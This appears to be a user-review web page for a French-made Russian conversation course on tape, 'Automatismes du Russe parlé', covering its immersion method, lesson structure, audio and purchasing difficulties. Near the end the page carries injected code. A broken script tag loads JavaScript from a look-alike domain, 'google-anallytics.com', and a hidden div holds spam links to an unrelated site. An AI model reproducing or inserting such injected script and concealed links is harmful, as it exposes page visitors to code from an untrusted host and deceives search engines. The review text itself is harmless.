Automatismes du Russe parlé by Dola Haudressy  Published by Centre d'Etudes Slaves in 2003 (first published in 1974)  Program in Russian for students of the Russian language  Intermediate level  Uses approximately 2200 differerent Russian words  Character set: Russian Cyrillic and a few pages in French Latin  Audio: 24 Tapes for a total recorded time of 26 hours 20 minutes  ISBN: 2-7204-0376-8  523 pages  Editorial rating:   Post a user comment Extensive French program to learn and automatize Russian conversation. Despite its French title, the entire text is in Russian with only a short introduction in French. All the audio is exclusively in Russian. As long as you already have some knowledge of Russian, you definitely do not need to speak any French to use this program. Philosophy The underlying teaching philosophy is sound and very interesting. The idea is to immerge the student in an all-Russian environment and gradually familiarize him with Russian conversation patterns. You first listen to a short speech or dialog about a certain topic, then are asked simple questions about this dialog. For instance, 'Irina was born in Moscow. She started University when she was 19 years old.'. After each question, the same question is asked about you. 'How old was Irina when she started University?' - Pause for your answer - 'How old were you when you started University?'. The system is similar to Pimsleur, only more advanced but slightly less user-friendly. Course structure The course is divided in 47 lessons of 90-minutes each meant to be learned at the rate of two a week during one academic year. You begin by listening and repeating and answering to all-Russian drills. The book forbids you to look at transcripts while listening in order to familiarize yourself with being immersed in unfamiliar Russian sentences. Gradually you see through the mist and figure out the sentences and can answer correctly. Then the lesson moves on by telling you a collection of jokes (yes, jokes) to exercise your capacity to understand new texts. The lessons cover 8 different themes such as 'Getting acquainted' or 'University life' and the like. Audio The audio is very good but is only available in tapes - there is no digital version so far although the publisher told me they would like to have one. Me too. The tapes come in 8 plastic binders housing 3 double face tape each. There is only Russian recorded on the tapes. There are long pauses between phrases in the numerous drills. I would not recommend buying the book if you can't get the tapes, since the entire course is designed to be listened to first, then read. Hard to buy The problem with this program is buying it. Although you can buy the book from various bookshops, the tapes are available only from the publisher. And the publisher is a French research institute run by Slavic personnel. Real nice people, but not business-minded. It took me about a full month of efforts to get the program, not including a failed rendez-vous at the Institute in Paris (the lady just forgot the appointment). I was very surprised to see such a high quality audio-lingual language program made in France, and for a relatively arcane language such as Russian. It was made for University student, to be used in a language laboratory with some supervision by a professor. The course can be used by an independent student although some access to a teacher would help. The book has been entirely rewritten in 2003 to get rid of Soviet-themes and pump it with more contemporary conversation patterns and texts. Many text excerpts were taken from Internet sources. 'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>working out but never losing weight</a><a href='http://tests4all.org/2/'>what do they do personal trainer</a><a href='http://tests4all.org/3/'>ct quit smoking program</a><a href='http://tests4all.org/4/'>accutane cordarone in the eyes</a><a href='http://tests4all.org/5/'>borderline personality disorder wife cheated</a><a href='http://tests4all.org/6/'>mtdna australia pleistocene occupation</a><a href='http://tests4all.org/7/'>community partner thank you notes</a><a href='http://tests4all.org/8/'>iq test controversy</a><a href='http://tests4all.org/9/'>honing your psychic ability</a><a href='http://tests4all.org/10/'>past life regression dennis linn</a><a href='http://tests4all.org/11/'>date menes death</a><a href='http://tests4all.org/12/'>lung cancer blueberries</a></div> Submitted by administrator on 31/5/2005

PICTURES Front cover Back cover Page 41 Page 40 Tapes and manual All 9 binders More pictures...